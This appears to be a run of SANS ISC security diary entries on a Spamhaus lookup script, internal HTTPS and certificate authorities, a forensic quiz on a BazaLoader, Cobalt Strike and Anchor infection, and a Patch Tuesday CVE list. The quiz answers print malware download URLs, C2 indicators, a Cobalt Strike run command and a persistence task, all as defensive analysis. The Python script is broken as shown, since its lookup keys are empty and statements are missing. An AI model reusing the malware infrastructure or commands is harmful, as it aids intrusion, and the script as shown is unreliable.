Return Code	Zone	Description	SBL	    Spamhaus SBL Data	SBL	    Spamhaus SBL CSS Data	XBL	    CBL Data	SBL	    Spamhaus DROP/EDROP Data	PBL	    ISP Maintained	PBL	    Spamhaus Maintained

If you query an IP which is not on any Spamhaus lists the result will be Non-Existent Domain (NXDOMAIN)


** server can't find NXDOMAIN

I have created a Python script which performs this lookup and have integrated this code into my ip reputation script. 

$ python3 queryspamhaus.py ['SBL']
$ python3 queryspamhaus.py 0 ['Not Found']

The script does have a bug.  The socket.gethostbyname() function only returns one result, so is returning an incomplete result for IPs which are on multiple Spamhaus lists. Since usually all I am looking for is if the IP is on any list I have never bothered to research how to fix this bug.

For those of you who are interested, the script is below.  As usual, I only build these scripts for my own use/research, so a real python programmer could very likely code something better.

# queryspamhaus.py

import os
import sys, getopt, argparse
import socket

def check_spamhaus(ip):
    hostname = ".".join(ip.split(".")[::-1]) + ".zen.spamhaus.org"
       result  = socket.gethostbyname(hostname)
    except socket.error:
       result = 0

    rdict = {"": ["SBL"],
             "": ["SBL CSS"],
             "": ["XBL"],
             "": ["XBL"],
             "": ["XBL"],
             "": ["SBL"],
             "": ["PBL"],
             "": ["PBL"],
             0 : ["Not Found"]

    return result, rdict[result]

def main():
   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address")

   result,tresult  = check_spamhaus(ip)
   print('{} {} {}'.format(ip, result, tresult))


-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)


Published: 2021-04-16

HTTPS Support for All Internal Services

SSL/TLS has been on stage for a while with deprecated protocols[1], free certificates for everybody[2]. The landscape is changing to force more and more people to switch to encrypted communications and this is good! Like Johannes explained yesterday[3], Chrome 90 will now append "https://" by default in the navigation bar. Yesterday diary covered the deployment of your own internal CA to generate certificates and switch everything to secure communications. This is a good point. Especially, by deploying your own root CA, you will add an extra  string to your securitybow: SSL interception and inspection.

But sometimes, you could face other issues:

  • If you have guests on your network, they won't have the root CA installed and will receive annoying messages
  • If you have very old devices or "closed" devices (like all kind of IoT gadgets), it could be difficult to switch them to HTTPS.

On my network, I'm still using Let's Encrypt but to generate certificates for internal hostname. To bypass the reconfiguration of "old devices", I'm concentrating all the traffic behind a Traefik[4] reverse-proxy. Here is my setup:

My IoT devices and facilities (printers, cameras, lights) are connected to a dedicated VLAN with restricted capabilities. As you can see, URLs to access them can be on top of HTTP, HTTPS, use standard ports or exotic ports. A Traefik reverse-proxy is installed on the IoT VLAN and accessible from clients only through TCP/443. Access to the "services" is provided through easy to remember URLs (https://service-a.internal.mydomain.be, etc).

From an HTTP point of view, Traefik is deployed in a standard way (in a Docker in my case). The following configuration is added to let it handle the certificates:

# Enable ACME
      email: xavier@<redacted>.be
      storage: /etc/traefik/acme.json
        provider: ovh
        delayBeforeCheck: 10
         - ""
         - ""

There is one major requirement for this setup: You need to use a valid domain name (read: a publicly registered domain) to generate internal URL (in my case, "mydomain.be") and the domain must be hosted at a provider that provides an API to manage the DNS zone (in my case, OVH). This is required by the DNS authentication mechanism that we will use. Every new certificate generation will requite a specific DNS record to be created through the API:


The subdomain is your preferred choice ("internal", "dmz", ...), be imaginative!

For all services running in Docker containers, Traefik is able to detect them and generate certificates on the fly. For other services like IoT devices, you just create a new config in Traefik, per service:

          - url: ""

      rule: Host("cam1.internal.mydomain.be")
      entryPoints: [ "websecure" ]
      service: service_cam1
        certResolver: le

You can instruct Traefik to monitor new configuration files and automatically load them:

# Enable automatic reload of the config
    directory: /etc/traefik/hosts/
    watch: true

Now you are ready to deploy all your HTTPS internal URL and map them to your gadgets!

Of course, you have to maintain an internal DNS zone with records pointing to your Traefik instance.

Warning: Some services accessed through this kind of setup may require configuration tuning. By example, search for parameters like "base URL" and changed to reflex the URL that you're using with Traefik. More details about ACME support is available here[5] (with a list of all supported DNS providers).

[1] https://isc.sans.edu/forums/diary/Old+TLS+versions+gone+but+not+forgotten+well+not+really+gone+either/27260
[2] https://letsencrypt.org
[3] https://isc.sans.edu/forums/diary/Why+and+How+You+Should+be+Using+an+Internal+Certificate+Authority/27314/
[4] https://traefik.io
[5] https://doc.traefik.io/traefik/https/acme/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-15

Why and How You Should be Using an Internal Certificate Authority

Yesterday, Google released Chrome 90, and with that "HTTPS" is becoming the default protocol if you enter just a hostname into the URL bar without specifying the protocol [1]. This is the latest indication that the EFF's "HTTPS Everywhere" initiative is succeeding [2][3]. Browsers are more and more likely to push users to encrypted content. While I applaud this trend, it does have a downside for small internal sites that often make it difficult to configure proper certificates. In addition, browsers are becoming pickier as to what certificates they accept. For example, in the "good old days", I could set up internal certificates that were valid for 10 years, not having to worry about the expiring. Currently, browsers will reject certificates valid for more than 13 months (398 days) [4]. 

Luckily, there is a solution: The "ACME" protocol popularized by the Let's Encrypt initiative makes it relatively painless to renew certificates. Sadly, not all software supports it, and in particular, IoT devices often do not support it [5].

Why Run Your Own Certificate Authority

Let's step back for a moment, and look at the certificate authorities. Why do you want to run your own? There are a couple of reasons that made me use my own certificate authority:

  1. Privacy: Public certificate authorities maintain certificate transparency logs. These logs are made public and are easily searchable. I do not want my internal hostnames to show up in these logs [6].
  2. Flexibility: Sometimes, I do not want to play by the rules that public certificate authorities have to play by. I do still have a pretty nice security camera that I don't want to toss that only supports 1024 bit private keys. Verifying an internal hostname can also be difficult if you are using a nonpublic top-level domain, or if the host is not reachable for certificate validation (you will need to use DNS which requires a cooperating DNS host).

How to Get Started With Your Private Certificate Authority

I found the easiest way to set up your own certificate authority (and be able to use the ACME protocol) is smallstep [7]. Smallstep is often used for SSH keys, but it is also a very capable certificate authority and easily runs in a virtual machine or container. When I started to use smallstep, it required a bit of work (a patch) to be compatible with macOS. But I believe this issue has been fixed yet. Certificates obtained via ACME were missing the "CommonName" that MacOS (and the RFC) require. Today, the "Getting Started Guide" is all you should need.

The setup process will do all the hard work for you. You will get a CA certificate, and Intermediate certificate and should be ready to go in no time. Just make sure to import the CA certificate into your clients and trust them. (I include the intermediate certificate as well to avoid some issues with the intermediate certificate not being included by a server).

The certificate authority doesn't necessarily have to be online all the time, but for ACME to work best and for your systems to be able to automatically renew certificates, you may just want to keep it running.

Using Your Own Certificate Authority with "certbot"

"certbot" is the most popular ACME client these days. All you need to do to use it with smallstep is to point it at your own smallstep server:

certbot certonly -d example.com --server https://internal-ca-hostname:8443/acme/acme/directory

by default, smallstep listens on port 8443. The system you run certbot on needs to trust the smallstep CA or the connection will fail.

For internal verification, I also like DNS instead of the normal default HTTP. You often deal with devices that have odd web server configurations. So you can not easily spin up a stand-alone web server, or use the nginx/apache plugins. The home directory is also not always writeable (or even present). So DNS makes for a nice alternative. To use DNS, it is easiest if you run an internal authoritative DNS server for the respective zone, and enable dynamic updates. Certbot has a "dns-rfc2136" module that supports authenticated dynamic DNS updates. [9]

A Lot of Moving Parts...

So here is a quick "To Do" list of everything you need in the rough order you should set it up:

  1. Register a domain for internal use (or use a subdomain of one you already own). Do NOT use .local internally.
  2. Setup an internal authoritative DNS server
  3. Enable authenticated dynamic DNS on that DNS server and allow updates from your internal IPs using specific keys.
  4. Install smallstep
  5. Install certbot and the rfc2136 module
  6. Run certbot to get your new certificates
  7. Symlink the certificates to the location where your system expects them
  8. Use certbot renewal hooks to do additional operations on certificates as needed (e.g. if you need to create Java keystores or restart services)


[1] https://blog.chromium.org/2021/03/a-safer-default-for-navigation-https.html
[2] https://www.eff.org/https-everywhere
[3] https://transparencyreport.google.com/https/overview?hl=en
[4] https://support.apple.com/en-us/HT211025
[5] https://tools.ietf.org/html/rfc8555
[6] https://transparencyreport.google.com/https/certificates?hl=en
[7] https://smallstep.com/docs/step-ca
[8] https://eff.org/certbot
[9] https://tools.ietf.org/html/rfc2136

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-04-14

April 2021 Forensic Quiz: Answers and Analysis


Thanks to everyone who participated in our forensic quiz originally posted on April 1st, 2021.  We received 22 submissions through our contact page, and two people had all the correct answers.  Unfortunately, we can only pick one winner for the contest.  In this case, our winner was the first to submit the correct information.  Join us in congratulating this month's winner, Alex Rodriguez-Vargas!  Alex will receive this month's prize: a Raspberry Pi 4 kit.

Several people came close and almost had everything.  This exercise required reviewing both the pcap and malware recovered from the infected Windows host.  You can still find the pcap and malware at this Github repository.

The pcap of infection traffic for this quiz was generated from a spreadsheet retrieved when I recorded this Youtube video.  The pcap in this month's quiz starts during HTTPS traffic to the "unsubscribe" page seen in the video.

Shown above:  Pcap from this quiz filtered in Wireshark, and a list of the malware/artifacts.


IP address of the infected Windows computer:


Host name of the infected Windows computer:


User account name on the infected Windows computer:

  • wilmer.coughlin

Date and time the infection activity began in UTC (the GMT or Zulu timezone):

  • 2021-03-29 at 22:18 UTC
  • NOTE: The infection activity could be considered as early as 22:15 UTC which is when the malicious domain gtmers[.]xyz appears.  Or it could be considered as late as 22:22 UTC, which is when the spreadsheet macro successfully downloaded a malicious EXE for BazarLoader.

The family or families of malware on the infected computer:

  • BazaLoader (BazarLoader)
  • Cobalt Strike
  • Anchor

To help in your analysis of this activity, please review the Prerequisites section in our original blog for this quiz.

BazaLoader (BazarLoader) Activity

From the malware archive in the Downloads directory under wilmer.coughlin, there is an Excel spreadsheet named subscription_1617056233.xlsb.  This spreadsheet has malicious macros.  I submitted it to the Triage Hatching sandbox, and it generated the following traffic:

  • hxxp://veso2[.]xyz/campo/r/r1

In the pcap, this URL caused a redirect.  First it redirected to:

  • hxxp://admin.youglessindia[.]in/theme/js/plugins/rt3ret3.exe

But that follow-up URL did not return any malware.  This happened while I was still recording the Youtube video.  At the video's 10 minute mark, I enable macros on the malicious spreadsheet, but nothing apparently happened.  So the call center operator had me re-open the spreadsheet and enable macros again.  That second time, the campo URL redirected to:

  • hxxp://veso2[.]xyz/uploads/files/rt3ret3.exe

The above URL returned a Windows executable (EXE) file.  This EXE from the pcap has the same SHA256 hash as the file located in our malware archive at:

  • ProgramData\huqvg\huqvg.exe

Of note, opening the spreadsheet and enabling macros generated the following artifacts:

  • Users\Public\4123.do1
  • Users\Public\4123.xlsb
  • Users\Public\4123.xsg

Traffic caused by BazaLoader (BazarLoader) in this pcap is:

  • 176.111.174[.]53 port 80 - veso2[.]xyz - POST /campo/r/r1
  • 104.21.74[.]174 port 80 - admin.youglessindia[.]in - POST /theme/js/plugins/rt3ret3.exe
  • 176.111.174[.]53 port 80 - veso2[.]xyz - POST /uploads/files/rt3ret3.exe
  • 54.184.119[.]29 port 443 - HTTPS traffic
  • port 443 - HTTPS traffic
  • port 80 - api.ip[.]sb - GET /ip

Of note, the last entry above is an IP address check by the infected Windows host.  I don't normally see that with BazaLoader activity, but I could not positively attibute it to any of the other malware activity in this pcap.

Shown above:  Some of the BazaLoader traffic from this infection.

Cobalt Strike Activity

Cobalt Strike was sent through encrypted HTTPS traffic generated by BazaLoader.  A DLL for Cobalt Strike was saved to the infected host at:

  • C:\Users\wilmer.coughlin\AppData\Local\Temp\C618.tmp.dll

The run method for the above Cobalt Strike DLL is:

  • rundll32.exe [filename],lowslow

This generated the following Cobalt Strike traffic:

  • 217.12.218[.]46 port 80 - 217.12.218[.]46 - GET /YPbR
  • 217.12.218[.]46 port 80 - onedrive.live.com - GET /preload?manifest=wac
  • 217.12.218[.]46 port 80 - onedrive.live.com - GET /sa

There were a great deal of HTTP requests generated by the Cobalt Strike, about 40 to 60 HTTP requests every minute.  Of note, the domain onedrive.live[.]com does not resolve to 217.12.218[.]46, which means this is a deception intentionally generated by the malware.  During the Cobalt Strike traffic, seven HTTP requests to checkip.amazonaws[.]com appear as the infected Windows host periodically checks its IP address.

Shown above:  Start of Cobalt Strike activity in the pcap.

Anchor Activity

Anchor DNS malware uses DNS queries to stealthily communicate to C2 servers.  Our pcap contains DNS activity that follows patterns reported for Anchor.  The associated domains are:

  • sluaknhbsoe[.]com
  • xyskencevli[.]com

The domain xyskencevli[.]com did not resolve, but sluaknhbsoe[.]com did.  The pcap contains several DNS queries with long strings for sub-domain of sluaknhbsoe[.]com.

Shown above:  DNS traffic caused by Anchor DNS malware.

This type of DNS tunneling does not rely on direct contact with the the C2 domain.  Malware families like Anchor use this method to disguise tunneling from an Windows infected host.  However, we can easily spot the unusual DNS queries from the pcap.

Of note, the following binaries are included in the malware archive:

  • Windows\Temp\adf\anchor_x64.exe
  • Windows\Temp\adf\anchorAsjuster_x64.exe
  • Windows\Temp\adf\anchorDNS_x64.exe

The malware archive also contains a scheduled task at:

  • Windows\System32\Tasks\Sun SvcRestartTask#32640

This shows a task to run the following command:

  • Windows\Temp\adf\anchorDNS_x64.exe -s

The task is designed to keep Anchor DNS malware persistent on the infected Windows host.

Shown above:  Scheduled task for Anchor malware.

Indicators of Compromise (IOCs)

SHA256 hash: ae6dbc08e0e21b217352175f916cfd5269c4fd8d5de6bff2d0a93a366f78e8d1

  • File size: 181,413 bytes
  • File name: subscription_1617056233.xlsb
  • File description: Spreadsheet with macros for BazaLoader (BazarLoader)

SHA256 hash: 291c573996c647508544e8e21bd2764e6e4c834d53d6d2c8903a0001c783764b

  • File size: 242,176 bytes
  • File location: hxxp://veso2[.]xyz/uploads/files/rt3ret3.exe
  • File location: C:\ProgramData\huqvg\huqvg.exe
  • File description: EXE for BazaLoader (BazarLoader)

SHA256 hash: cc74f7e82eb33a14ffdea343a8975d8a81be151ffcb753cb3f3be10242c8a252

  • File size: 299,520 bytes
  • File location: C:\Users\wilmer.coughlin\AppData\Local\Temp\C618.tmp.dll
  • File description: DLL for Cobalt Strike
  • Run method: rundll32.exe [filename],lowslow

SHA256 hash: 3ab8a1ee10bd1b720e1c8a8795e78cdc09fec73a6bb91526c0ccd2dc2cfbc28d

  • File size: 251,904 bytes
  • File location: C:\Windows\Temp\adf\anchorAsjuster_x64.exe
  • File description: Anchor malware EXE (1 of 3)
  • Note: This is not inherently malicious on its own, but can be used to run the other two Anchor files.

SHA256 hash: a8a8c66b155fcf9bfdf34ba0aca98991440c3d34b8a597c3fdebc8da251c9634

  • File size: 347,648 bytes
  • File location: C:\Windows\Temp\adf\anchor_x64.exe
  • File description: Anchor malware EXE (2 of 3)

SHA256 hash: 9fdbd76141ec43b6867f091a2dca503edb2a85e4b98a4500611f5fe484109513

  • File size: 347,648 bytes
  • File location: C:\Windows\Temp\adf\anchorDNS_x64.exe
  • File description: Anchor malware EXE (3 of 3)

HTTPS traffic that returned malicious spreadsheet:

  • 8.209.100[.]246 port 443 - gtmers[.]xyz

BazaLoader traffic:

  • 176.111.174[.]53 port 80 - veso2[.]xyz - POST /campo/r/r1
  • 104.21.74[.]174 port 80 - admin.yougleeindia[.]in - POST /theme/js/plugins/rt3ret3.exe
  • 176.111.174[.]53 port 80 - veso2[.]xyz - POST /uploads/files/rt3ret3.exe
  • 54.184.119[.]29 port 443 - HTTPS traffic caused by BazaLoader (BazarLoader)
  • 184.72.1[.]208 port 443 - HTTPS traffic caused by BazaLoader (BazarLoader)

IP address checks by the infected Windows host:

  • port 80 - api.ip[.]sb - GET /ip
  • port 80 - checkip.amazonaws[.]com - GET /

Cobalt Strike traffic:

  • 217.12.218[.]46 port 80 - 217.12.218[.]46 - GET /YPbR
  • 217.12.218[.]46 port 80 - onedrive.live[.]com - GET /preload?manifest=wac
  • 217.12.218[.]46 port 80 - onedrive.live[.]com - GET /sa

Domains used by Anchor malware:

  • sluaknhbsoe[.]com
  • xyskencevli[.]com

Final words

Another case of type of infection, one where BazaLoader leads to Cobalt Strike and Anchor, was reported here last month.  It even reports the same domains used by Anchor DNS that we see in this month's quiz.

Thanks to all who participated, and congratulations again to Alex Rodriguez-Vargas for winning this month's contest!

You can still find the pcap and malware at this Github repository.


Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-04-13

Microsoft April 2021 Patch Tuesday

This month's score includes 114 Vulnerabilities. There are 19 Criticals this month with 4 previously disclosed and 1 being exploited.

 A quick snapshot of Renato's dashboard that can be found here: https://patchtuesdaydashboard.com.

The exploited vulnerability includes a privilege elevation component. The Win32k Elevation or Privilege vulnerability details can be found here: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310.

Also of significant note are the Microsoft Exchange Server Remote Code Execution vulnerabilites across versons 2013 - 2019. No known exploits are being reported however the CVSS score sits at 9.8, tread carefully. With a Critical rating, and a high CVSS score, those patches are worth reviewing in depth.

There are Remote Procedure Call vulnerabilities in Windows 10 that are of note. They cross 32-bit and 64 bit Windows 10 instances and multiple versions (e.g., Windows 10 version 1607, Windows 10 version 1803, etc)...

Today's High Score goes to the series of Microsoft Exchange Server Remote Code Execution vulnerabilities at a 9.8 (as noted above).

April 2021 Security Updates

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure AD Web Sign-in Security Feature Bypass Vulnerability
%%cve:2021-27092%% No No Less Likely Less Likely Important 6.8 5.9
Azure DevOps Server Spoofing Vulnerability
%%cve:2021-28459%% No No Less Likely Less Likely Important 6.1 5.3
Azure DevOps Server and Team Foundation Server Information Disclosure Vulnerability
%%cve:2021-27067%% No No Less Likely Less Likely Important 6.5 5.7
Azure Sphere Unsigned Code Execution Vulnerability
%%cve:2021-28460%% No No Less Likely Less Likely Critical 8.1 7.3
Azure ms-rest-nodeauth Library Elevation of Privilege Vulnerability
%%cve:2021-28458%% Yes No Less Likely Less Likely Important 7.8 7.0
Chromium: CVE-2021-21194 Use after free in screen capture
%%cve:2021-21194%% No No - - -    
Chromium: CVE-2021-21195 Use after free in V8
%%cve:2021-21195%% No No - - -    
Chromium: CVE-2021-21196 Heap buffer overflow in TabStrip
%%cve:2021-21196%% No No - - -    
Chromium: CVE-2021-21197 Heap buffer overflow in TabStrip
%%cve:2021-21197%% No No - - -    
Chromium: CVE-2021-21198 Out of bounds read in IPC
%%cve:2021-21198%% No No - - -    
Chromium: CVE-2021-21199 Use Use after free in Aura
%%cve:2021-21199%% No No - - -    
Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability
%%cve:2021-28313%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28321%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28322%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Excel Information Disclosure Vulnerability
%%cve:2021-28456%% No No Less Likely Less Likely Important 5.5 5.0
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-28451%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28454%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2021-28480%% No No More Likely More Likely Critical 9.8 8.5
%%cve:2021-28481%% No No More Likely More Likely Critical 9.8 8.5
%%cve:2021-28482%% No No More Likely More Likely Critical 8.8 7.7
%%cve:2021-28483%% No No More Likely More Likely Critical 9.0 7.8
Microsoft Internet Messaging API Remote Code Execution Vulnerability
%%cve:2021-27089%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2021-28449%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Outlook Memory Corruption Vulnerability
%%cve:2021-28452%% No No Less Likely Less Likely Important 7.1 6.2
Microsoft SharePoint Denial of Service Update
%%cve:2021-28450%% No No Less Likely Less Likely Important 5.0 4.4
Microsoft Windows Codecs Library Information Disclosure Vulnerability
%%cve:2021-28317%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2021-28453%% No No Less Likely Less Likely Important 7.8 6.8
NTFS Elevation of Privilege Vulnerability
%%cve:2021-27096%% No No Less Likely Less Likely Important 7.8 6.8
RPC Endpoint Mapper Service Elevation of Privilege Vulnerability
%%cve:2021-27091%% Yes No Less Likely Less Likely Important 7.8 7.0
Raw Image Extension Remote Code Execution Vulnerability
%%cve:2021-28466%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28468%% No No Less Likely Less Likely Important 7.8 6.8
Remote Development Extension for Visual Studio Code Remote Code Execution Vulnerability
%%cve:2021-28471%% No No Less Likely Less Likely Important 7.8 6.8
Remote Procedure Call Runtime Remote Code Execution Vulnerability
%%cve:2021-28327%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28329%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28330%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28331%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28332%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28333%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28334%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28335%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28336%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28337%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28338%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28339%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28340%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28341%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28342%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28343%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-28344%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28345%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28346%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28352%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28353%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28354%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28355%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28356%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28357%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28358%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-28434%% No No Less Likely Less Likely Important 8.8 7.7
VP9 Video Extensions Remote Code Execution Vulnerability
%%cve:2021-28464%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Code GitHub Pull Requests and Issues Extension Remote Code Execution Vulnerability
%%cve:2021-28470%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Code Kubernetes Tools Remote Code Execution Vulnerability
%%cve:2021-28448%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Code Maven for Java Extension Remote Code Execution Vulnerability
%%cve:2021-28472%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2021-28457%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28469%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28475%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28477%% No No Less Likely Less Likely Important 7.0 6.1
%%cve:2021-28473%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Installer Elevation of Privilege Vulnerability
%%cve:2021-27064%% No No Less Likely Less Likely Important 7.8 7.0
Win32k Elevation of Privilege Vulnerability
%%cve:2021-27072%% No No More Likely More Likely Important 7.0 6.1
%%cve:2021-28310%% No Yes Detected Detected Important 7.8 7.2
Windows AppX Deployment Server Denial of Service Vulnerability
%%cve:2021-28326%% No No Less Likely Less Likely Important 5.5 4.8
Windows Application Compatibility Cache Denial of Service Vulnerability
%%cve:2021-28311%% No No Less Likely Less Likely Important 6.5 5.7
Windows Console Driver Denial of Service Vulnerability
%%cve:2021-28438%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2021-28443%% No No Less Likely Less Likely Important 5.5 4.8
Windows DNS Information Disclosure Vulnerability
%%cve:2021-28323%% No No Less Likely Less Likely Important 6.5 5.7
%%cve:2021-28328%% No No Less Likely Less Likely Important 6.5 5.7
Windows Early Launch Antimalware Driver Security Feature Bypass Vulnerability
%%cve:2021-27094%% No No Less Likely Less Likely Important 4.4 3.9
%%cve:2021-28447%% No No Less Likely Less Likely Important 4.4 3.9
Windows Event Tracing Elevation of Privilege Vulnerability
%%cve:2021-27088%% No No Less Likely Less Likely Important 7.8 6.8
Windows Event Tracing Information Disclosure Vulnerability
%%cve:2021-28435%% No No Less Likely Less Likely Important 5.5 4.8
Windows GDI+ Information Disclosure Vulnerability
%%cve:2021-28318%% No No Less Likely Less Likely Important 5.5 4.8
Windows GDI+ Remote Code Execution Vulnerability
%%cve:2021-28348%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28349%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28350%% No No Less Likely Less Likely Important 7.8 6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2021-26416%% No No Less Likely Less Likely Important 7.7 6.7
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2021-28314%% No No Less Likely Less Likely Important 7.8 6.8
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2021-28441%% No No Less Likely Less Likely Important 6.5 5.7
Windows Hyper-V Security Feature Bypass Vulnerability
%%cve:2021-28444%% No No Less Likely Less Likely Important 5.7 5.0
Windows Installer Elevation of Privilege Vulnerability
%%cve:2021-26415%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28440%% No No Less Likely Less Likely Important 7.0 6.1
Windows Installer Information Disclosure Vulnerability
%%cve:2021-28437%% Yes No Less Likely Less Likely Important 5.5 4.8
Windows Installer Spoofing Vulnerability
%%cve:2021-26413%% No No Less Likely Less Likely Important 6.2 5.4
Windows Kernel Information Disclosure Vulnerability
%%cve:2021-27093%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2021-28309%% No No Less Likely Less Likely Important 5.5 4.8
Windows Media Photo Codec Information Disclosure Vulnerability
%%cve:2021-27079%% No No Less Likely Less Likely Important 5.7 5.0
Windows Media Video Decoder Remote Code Execution Vulnerability
%%cve:2021-27095%% No No Less Likely Less Likely Critical 7.8 6.8
%%cve:2021-28315%% No No Less Likely Less Likely Critical 7.8 6.8
Windows NTFS Denial of Service Vulnerability
%%cve:2021-28312%% Yes No Less Likely Less Likely Moderate 3.3 3.1
Windows Network File System Remote Code Execution Vulnerability
%%cve:2021-28445%% No No Less Likely Less Likely Important 8.1 7.1
Windows Overlay Filter Information Disclosure Vulnerability
%%cve:2021-26417%% No No Less Likely Less Likely Important 5.5 4.8
Windows Portmapping Information Disclosure Vulnerability
%%cve:2021-28446%% No No Less Likely Less Likely Important 7.1 6.2
Windows Resource Manager PSM Service Extension Elevation of Privilege Vulnerability
%%cve:2021-28320%% No No Less Likely Less Likely Important 7.8 6.8
Windows SMB Information Disclosure Vulnerability
%%cve:2021-28324%% No No More Likely More Likely Important 7.5 6.5
%%cve:2021-28325%% No No More Likely More Likely Important 6.5 5.7
Windows Secure Kernel Mode Elevation of Privilege Vulnerability
%%cve:2021-27090%% No No Less Likely Less Likely Important 7.8 6.8
Windows Services and Controller App Elevation of Privilege Vulnerability
%%cve:2021-27086%% No No Less Likely Less Likely Important 7.8 6.8
Windows Speech Runtime Elevation of Privilege Vulnerability
%%cve:2021-28347%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28351%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-28436%% No No Less Likely Less Likely Important 7.8 6.8
Windows TCP/IP Driver Denial of Service Vulnerability
%%cve:2021-28319%% No No More Likely More Likely Important 7.5 6.5
%%cve:2021-28439%% No No Less Likely Less Likely Important 7.5 6.5
Windows TCP/IP Information Disclosure Vulnerability
%%cve:2021-28442%% No No More Likely More Likely Important 6.5 5.7
Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability
%%cve:2021-28316%% No No Less Likely Less Likely Important 4.2 3.7


Published: 2021-04-12

Example of Cleartext Cobalt Strike Traffic (Thanks Brad)

Brad has a large collection of malware traffic (thanks Brad :-) ).

I've been searching his collection for a particular sample, and I found one:


What is special about this sample? Let me show you.

Open Brad's pcap file with Wireshark, go to File / Export Objects / HTTP ..., and sort the table by size, descending:

You see 3 filenames (H7mp, H7mp, OLIx). These are the Cobalt Strike beacons with a "checksum8 URL":

See my diary entry "Finding Metasploit & Cobalt Strike URLs" for more information.

Save one of the files to disk (the 3 files are identical) and analyze it with my tool 1768.py:

Notice that the value of CryptoScheme is 1: this means that this beacon (and the C2) will not encrypt their transmitted data with AES. Because encryption is disabled for trial versions.

And since the beacon communicates over HTTP, we can see cleartext traffic directly with Wireshark. For example, filter on "submit.php" requests:

And follow the HTTP stream of the first request:

We can see strings that look like IPv4 config information: internal IPv4 address (, network mask (, MTU (1500) and MAC address (00:08:02:1C:47:AE).

Isn't that nice? :-)

If you like looking through pcap files, like we handlers do, I invite you to find more unencrypted Cobalt Strike traffic in Brad's pcap file, and share your comments here.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-10

Building an IDS Sensor with Suricata & Zeek with Logs to ELK

Over the past several years I have used multiple pre-built sensors using readily available ISO images (rockNSM, SO, OPNSense, etc) but what I was really looking for was just a sensor to parse traffic (i.e Zeek) and IDS alerts (Suricata) to ELK. To speed up the deployment of each sensors, I created a basic CentOS7 server VM where I copied all the scripts and files, I need to get Suricata & Zeek up and running. Since my ELK cluster is the recipient of these logs, it includes Elastic filebeat. I saved all the important scripts and changes into two tarballs (installation and sensor). The sensor tarball has a copy of the softflowd (netflow binary) that can be use to capture netflow data.

Using this document as a template, to build the sensor, it is time to download and extract the installation tarball on the sensor to install Suricata & Zeek as well as the Elasticsearch applications filebeate, metricbeat and packetbeat if using ELK to analyze the traffic. Refer to the document to configure each of the ELK applications.

